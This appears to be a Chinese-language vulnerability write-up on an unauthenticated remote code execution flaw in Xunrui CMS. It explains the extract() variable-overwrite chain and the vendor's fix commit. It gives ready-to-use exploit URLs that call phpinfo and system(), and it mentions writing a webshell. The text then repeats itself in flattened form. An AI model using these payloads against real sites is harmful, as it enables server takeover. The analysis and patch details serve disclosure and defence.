某cms 前台RCE漏洞分析
字数 1164 2025-08-05 08:19:32

迅睿CMS前台RCE漏洞分析与利用

漏洞概述

迅睿CMS存在一个前台远程代码执行(RCE)漏洞,攻击者无需登录即可通过精心构造的请求在目标服务器上执行任意PHP代码。该漏洞源于模板渲染过程中的变量覆盖问题,结合动态控制器调用机制,最终导致代码执行。

漏洞分析

1. 入口点分析

迅睿CMS通过s参数控制访问的控制器目录,攻击者可以通过以下方式调用API控制器:

index.php?s=api&c=xxx

2. 关键漏洞点

模板渲染机制

  • API控制器的template方法可以动态调用模板
  • 通过GET参数控制三个关键参数:
    • name:模板文件名
    • phpcmf_dir:模板目录
    • app:应用名称

变量覆盖漏洞

  • 系统使用extract()函数处理模板参数,导致变量覆盖
  • $this->_options中的值可以通过GET参数控制
  • 类型为覆盖原有值(EXTR_OVERWRITE)

模板文件解析

  • 系统会在以下目录寻找模板文件:
    /dayrui/App/[$app]/Views/[$phpcmf_dir]/[$name].html
    
  • 文件名不能包含/,限制了目录穿越

3. 漏洞利用链

  1. 通过api_related.html模板文件触发漏洞
  2. 模板中调用$this->related()方法
  3. 方法内部使用call_user_func_array()函数
  4. 通过参数构造实现代码执行

漏洞利用

基本利用Payload

http://target.com/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=phpinfo%20param0=-1

参数说明

  • s=api:指定API模块
  • c=api:指定API控制器
  • m=template:调用模板方法
  • app=admin:指定admin应用
  • name=api_related.html:指定要渲染的模板文件
  • phpcmf_dir=admin:指定模板目录
  • mid:包含恶意参数:
    • action=function:覆盖原有action值
    • name=phpinfo:指定要执行的函数
    • param0=-1:函数参数

高级利用

  1. 执行系统命令

    &mid=%20action=function%20name=system%20param0=calc
    
  2. 写入Webshell
    结合php://filter等PHP包装器可以写入Webshell

漏洞修复

厂商修复方案:

  1. 修改extract()函数的类型,设置为跳过已有变量
  2. 移除$phpcmf_dir参数的可控性

修复commit:
https://gitee.com/dayrui/xunruicms/commit/80e2d8f3008384d926c64163b7334a260edc0a51

防御建议

  1. 及时更新到最新版本
  2. 避免在生产环境使用存在漏洞的版本
  3. 对用户输入进行严格过滤
  4. 避免使用extract()函数或设置安全模式

总结

该漏洞利用链清晰,危害性高,攻击者无需认证即可实现远程代码执行。漏洞的核心在于模板渲染过程中的变量覆盖问题,结合动态控制器调用机制,最终导致代码执行。厂商反应迅速,在漏洞报告后20分钟内即发布了修复补丁。

迅睿CMS前台RCE漏洞分析与利用 漏洞概述 迅睿CMS存在一个前台远程代码执行(RCE)漏洞,攻击者无需登录即可通过精心构造的请求在目标服务器上执行任意PHP代码。该漏洞源于模板渲染过程中的变量覆盖问题,结合动态控制器调用机制,最终导致代码执行。 漏洞分析 1. 入口点分析 迅睿CMS通过 s 参数控制访问的控制器目录,攻击者可以通过以下方式调用API控制器: 2. 关键漏洞点 模板渲染机制 : API控制器的 template 方法可以动态调用模板 通过GET参数控制三个关键参数: name :模板文件名 phpcmf_dir :模板目录 app :应用名称 变量覆盖漏洞 : 系统使用 extract() 函数处理模板参数,导致变量覆盖 $this->_options 中的值可以通过GET参数控制 类型为覆盖原有值(EXTR_ OVERWRITE) 模板文件解析 : 系统会在以下目录寻找模板文件: 文件名不能包含 / ,限制了目录穿越 3. 漏洞利用链 通过 api_related.html 模板文件触发漏洞 模板中调用 $this->related() 方法 方法内部使用 call_user_func_array() 函数 通过参数构造实现代码执行 漏洞利用 基本利用Payload 参数说明 s=api :指定API模块 c=api :指定API控制器 m=template :调用模板方法 app=admin :指定admin应用 name=api_related.html :指定要渲染的模板文件 phpcmf_dir=admin :指定模板目录 mid :包含恶意参数: action=function :覆盖原有action值 name=phpinfo :指定要执行的函数 param0=-1 :函数参数 高级利用 执行系统命令 : 写入Webshell : 结合 php://filter 等PHP包装器可以写入Webshell 漏洞修复 厂商修复方案: 修改 extract() 函数的类型,设置为跳过已有变量 移除 $phpcmf_dir 参数的可控性 修复commit: https://gitee.com/dayrui/xunruicms/commit/80e2d8f3008384d926c64163b7334a260edc0a51 防御建议 及时更新到最新版本 避免在生产环境使用存在漏洞的版本 对用户输入进行严格过滤 避免使用 extract() 函数或设置安全模式 总结 该漏洞利用链清晰,危害性高,攻击者无需认证即可实现远程代码执行。漏洞的核心在于模板渲染过程中的变量覆盖问题,结合动态控制器调用机制,最终导致代码执行。厂商反应迅速,在漏洞报告后20分钟内即发布了修复补丁。